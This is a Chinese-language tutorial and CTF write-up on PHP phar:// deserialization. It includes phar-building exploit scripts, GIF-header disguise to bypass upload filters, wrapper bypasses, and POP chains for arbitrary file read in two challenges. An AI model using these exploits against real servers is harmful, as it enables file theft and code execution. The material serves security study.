前言

在php反序列化的时候,我们是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

什么是PHAR

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

文件结构

phar文件主要包含三至四个部分:

1.a stub
stub的基本结构: xxx<? xxx;_HALT_COMPILER()L;?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  1. a manifest describing the contents
    Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
    再识序列化(二)phar反序列化 - 图1

  2. the file contents
    被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

  3. a signature for verifying Phar integrity
    签名格式
    再识序列化(二)phar反序列化 - 图2

举个栗子:
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
再识序列化(二)phar反序列化 - 图3

过了一晚上,终于可以生成phar文件了
image.png
可以看到meta-data是以序列化形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数再通过phar://协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下
再识序列化(二)phar反序列化 - 图5
写一个unserialize.php

  1. <?php
  2. class TestObject{
  3. function __destruct()
  4. {
  5. echo $this -> data; // TODO: Implement __destruct() method.
  6. }
  7. }
  8. include('phar://phar.phar');
  9. ?>

image.png
将序列化的内容再反序列化

将phar文件伪造成其他格式的文件

php扩展识别phar文件使用过其头部的stub,更确切地来说就是通过 __HALT_COMPILER(); ?> 这段代码,但是对前面的内容或者后缀没有什么要求。我们就可以通过添加任意文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='qidian132';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

image.png
这种方法可以绕过一些通过校验文件头的上传点。

在本地做个演示
upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else{
    echo "Invalid file,you can only upload gif";
}
?>

upload_file.html

<html>
    <body>
        <form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
            <input type="file" name="file" />
            <input type="submit" name="Upload" />
        </form>
        </body>
</html>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);   // 漏洞点
?>

upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用file_exits()判断文件是否存在,并且存在魔术方法__destruct。大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

生成可利用的phar文件
image.png

漏洞利用条件

  1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
    2. 要有可用的魔术方法作为”跳板”;
    3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
    虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。
    在禁止phar开头的情况下的替代方法:
    compress.zlib://phar://phar.phar/test.txt
    compress.bzip2://phar://phar.phar/test.txt 
    php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
    虽然会报warning,但是还是会执行。
    

做两道比赛题


image.png**
有查看文件和上传文件两个功能,看源代码
url存在任意文件读取
base.php和upload_file.php都主要展示前端的代码
function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

对上传的文件进行检查和限制
file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

class.php里file_get_contents()可以造成任意文件读取,需要构造一个pop链
逆着看,file_get函数会读取$value变量的值,get方法里如果存在params[$key]会将其值赋给变量$value,get方法的触发是由_get完成的,
get()的触发需要从不可访问的属性读取数据,即在调用私有属性的时候会自动执行。构造函数contruct()给参数$param赋值了一个数组

Test::file_get_contents()<--Test::get()<--Test::_get()

如何触发get()卡了一下,师傅们说Show里的toString()可以触发,既让$this->str[‘str’]为Test的初始化对象,就会访问不存在的属性source。这部完成之后就要考虑如何触发__toString()魔术方法了,就需要用到C1e4r类下的echo,当$this->test为实例化对象时,并且经过echo输出就会触发

Show::__toString<--C1e4r::__destruct

总的pop链

Test::file_get_contents()<--Test::get()<--Test::_get()<--Show::__toString()<--C1e4r::__destruct()

file.php,从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。

exp

<?php
class C1e4r{
    public $test;
    public $str;
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $file;
    public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$clear->str = $show;

$phar = new Phar("qidian.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($clear); 
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

image.png
改后缀上传,但是经过upload_file.php文件会被重命名
但是这题可以直接访问upload目录
image.png
使用phar协议访问就可以了

?file=phar://upload/d7959930b7a34278663471bd43b89e88.jpg

Dropbox

注册一个账号登录,发现可以上传文件,上传正常文件
image.png
可以下载和删除,抓包
下载页面可以任意文件下载
index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }

    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

register.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
        if ($u->add_user($username, $password)) {
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('此用户名已被使用', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

这么多代码,看了好久主要在index.php,class.php,download.php和delete.php
POP链的构造
要知道我们利用的就是File->close()->file_get_contents()函数,我们是需要触发close()方法,让其读取flag.txt,然后FileList里的__destruct()将flag输出

User::__construct-->User::__destruct-->FileList::close()-->FileList()::call('close')-->File::close('/flag.txt')-->$result=file_get_contents('flag.txt')-->FileList::__construct-->echo $result

大致说一下我不是很理解的地方:

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

call($func, $args)php的魔术方法,call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的参数(这是个数组),其中$func就是指我们调用的不存在方法,而$args是指我们的参数。
通过代码我们知道假如我们调用close()方法,那么最后会调用

$file->$func()

即$file->close(),并且存入$result中,经过__destruct() echo那么file_get_contents的内容就能回显出来了。
对于phar读取的问题,因为download.php对路径进行了限制

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

所以我们要使用delete.php再使用phar协议进行读取
exp

<?php
class User {
    public $db;
    function __construct(){
        $this->db = new FileList();
    }
}
class FileList{
    private $files;
    private $results;
    private $funcs;

    function __construct(){
        $this->files = [new File('/flag.txt')];
        $this->results = [];
        $this->funcs = [];

    }
}
class File{
    public $filename;

    function __construct($name){
        $this->filename = $name;
    }
}
$a = new User();

$phar = new Phar("qidian.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a); 
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

这篇文章经历了近一周时间,中间停了三天电,跨度有点大,中间好多思路衔接不是很流畅。不过代码审计算是入门了一丢丢丢丢吧。